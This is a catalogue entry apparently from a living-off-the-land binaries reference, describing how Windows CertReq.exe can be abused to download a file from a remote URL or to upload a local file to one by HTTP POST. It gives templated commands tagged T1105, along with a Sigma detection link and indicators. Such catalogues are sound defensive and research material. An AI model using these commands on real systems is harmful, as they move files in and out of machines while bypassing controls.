CertReq.exe

type: OSBinaries

Used for requesting and managing certificates

Full path

C:\Windows\System32\certreq.exe
C:\Windows\SysWOW64\certreq.exe

Commands

DownloadUser T1105
Download file from Internet
```
CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}
```
Send the specified file (penultimate argument) to the specified URL via HTTP POST and save the response to the specified txt file (last argument).
os: Windows 10, Windows 11
UploadUser T1105
Upload
```
CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE}
```
Send the specified file (last argument) to the specified URL via HTTP POST and show response in terminal.
os: Windows 10, Windows 11

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml
IOCcertreq creates new files
IOCcertreq makes POST requests

Resources

https://dtm.uk/certreq

acknowledgement: David Middlehurst @dtmsecurity